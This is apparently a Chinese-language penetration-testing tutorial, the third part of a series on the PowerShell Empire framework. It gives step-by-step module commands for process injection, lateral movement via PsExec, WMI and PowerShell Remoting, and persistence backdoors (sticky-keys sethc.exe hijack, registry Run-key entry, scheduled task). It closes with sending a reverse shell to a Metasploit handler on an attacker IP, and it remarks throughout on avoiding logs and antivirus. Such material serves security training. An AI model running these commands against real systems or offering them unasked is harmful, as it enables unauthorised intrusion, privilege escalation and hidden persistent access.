PowerShell滲透–Empire(三)
- 2019 年 10 月 26 日
- 筆記
會話注入
我們可以使用usemodule management/psinject模組來進程注入,獲取許可權
設置下Listeners和ProcID這2個參數,這裡的ProcID就是之前的CMD的pid,反彈回域用戶許可權shell
usemodule management/psinject
set Listener Micr067
set ProcID 3768
execute
3.Invoke-PsExec
PsExec缺點是基本殺毒軟體都能檢測到,並會留下日誌,而且需要開啟admin$ 445埠共享。
優點是可以直接返回SYSTEM許可權。
使用該模組的前提是已經獲得本地管理員許可權,甚至域管理員賬戶,然後以此來進一步持續滲透整個內網。
我們測試該模組前看下當前agents,有個機器名為WIN-PC2的伺服器,如下圖所示。
使用模組usemodule lateral_movement/invoke_psexec滲透域內另一台機器
這裡要設置下機器名和監聽,注意這裡的機器名是機器的全名,命令執行完畢成功獲得新的session
set ComputerName WIN-DC.payload.com
set Listener Micr067
execute
因為我上個session是管理員許可權,使用psexec模組直接將管理員許可權提升到system許可權
4.Invoke-WMI
WMI比PsExec安全,所有window系統啟用該服務,當攻擊者使用wmiexec來進行攻擊時,Windows系統默認不會在日誌中記錄這些操作,這意味著可以做到攻擊無日誌,同時攻擊腳本無需寫入到磁碟,具有極高的隱蔽性。但防火牆開啟將會無法連接。
usemodule lateral_movement/invoke_wmi
set Listener Micr067
execute
WMI還有一個usemodule lateral_movement/invoke_wmi_debugger模組,是使用WMI去設置五個Windows Accessibility可執行文件中任意一個的調試器。這些可執行文件包括sethc.exe(粘滯鍵,五下shift可觸發),narrator.exe(文本轉語音,Utilman介面激活)、Utilman.exe(windows輔助管理器,Win+U啟用),Osk.exe(虛擬鍵盤,Utilman介面啟用)、Magnify.exe(放大鏡,Utilman介面啟用)。相關配置參數如下:
5.Powershell Remoting
PowerShell remoting是Powershell的遠程管理功能,開啟Windows遠程管理服務WinRM會監聽5985埠,該服務默認在Windows Server 2012中是啟動的,在Windows Server 2003、2008和2008 R2需要通過手動啟動。
如果目標主機啟用了PSRemoting,或者擁有啟用它的許可權的憑據,則可以使用他來進行橫向滲透,
開啟PowerShell remoting功能
Enable-PSRemoting
usemodule lateral_movement/invoke_psremoting
set ComputerName WIN-PC2.payload.com
set Listener Micr067
execute
0×08. 後門
1.許可權持久性劫持shift後門
usemodule lateral_movement/invoke_wmi_debugger
set ComputerName WIN-DC.payload.com
set TargetBinary sethc.exe
execute
運行後,在目標主機遠程登錄窗口按5次shift即可觸發後門,即可進入cmd命令窗口。
注意:sethc.exe也可替換為以下選項。
A.Utilman.exe(快捷鍵為: Win + U)
B.osk.exe(螢幕上的鍵盤Win + U啟動再選擇)
C.Narrator.exe (啟動講述人Win + U啟動再選擇)
D.Magnify.exe(放大鏡Win + U啟動再選擇)
2.註冊表注入後門
使用usemodule persistence/userland/registry模組,運行後會在目標主機啟動項添加一個命令
usemodule persistence/userland/registry
set Listener Micr067
set RegPath HKCU:SoftwareMicrosoftWindowsCurrentVersionRun
execute
運行後當我們登陸系統時候就會運行,反彈回來
3.計劃任務獲得系統許可權
在實際滲透中,運行該模組時殺軟會有提示。
usemodule persistence/elevated/schtasks
Set DailyTime 22:50
set Listener Micr067
execute
命令執行完畢返回一個高許可權的shell
這裡如果把set RegPath 的參數改為HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun,那麼就會在22:35分添加一個註冊表注入後門。
0×09. Empire反彈回Metasploit
實際滲透中,當拿到webshell上傳的MSF客戶端無法繞過目標機殺軟時,可以使用powershell來繞過也可以執行Empire的payload來繞過,成功之後再使用Empire的模組將其反彈回Metasploit。
usemodule code_execution/invoke_shellcode
set Lhost 192.168.190.133 # Lhost為msf所在主機ip
set Lport 1521
execute
在MSF上設置監聽,運行後,就可以收到Empire反彈回來的shell了
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set Lhost 192.168.190.133
set lport 1521
run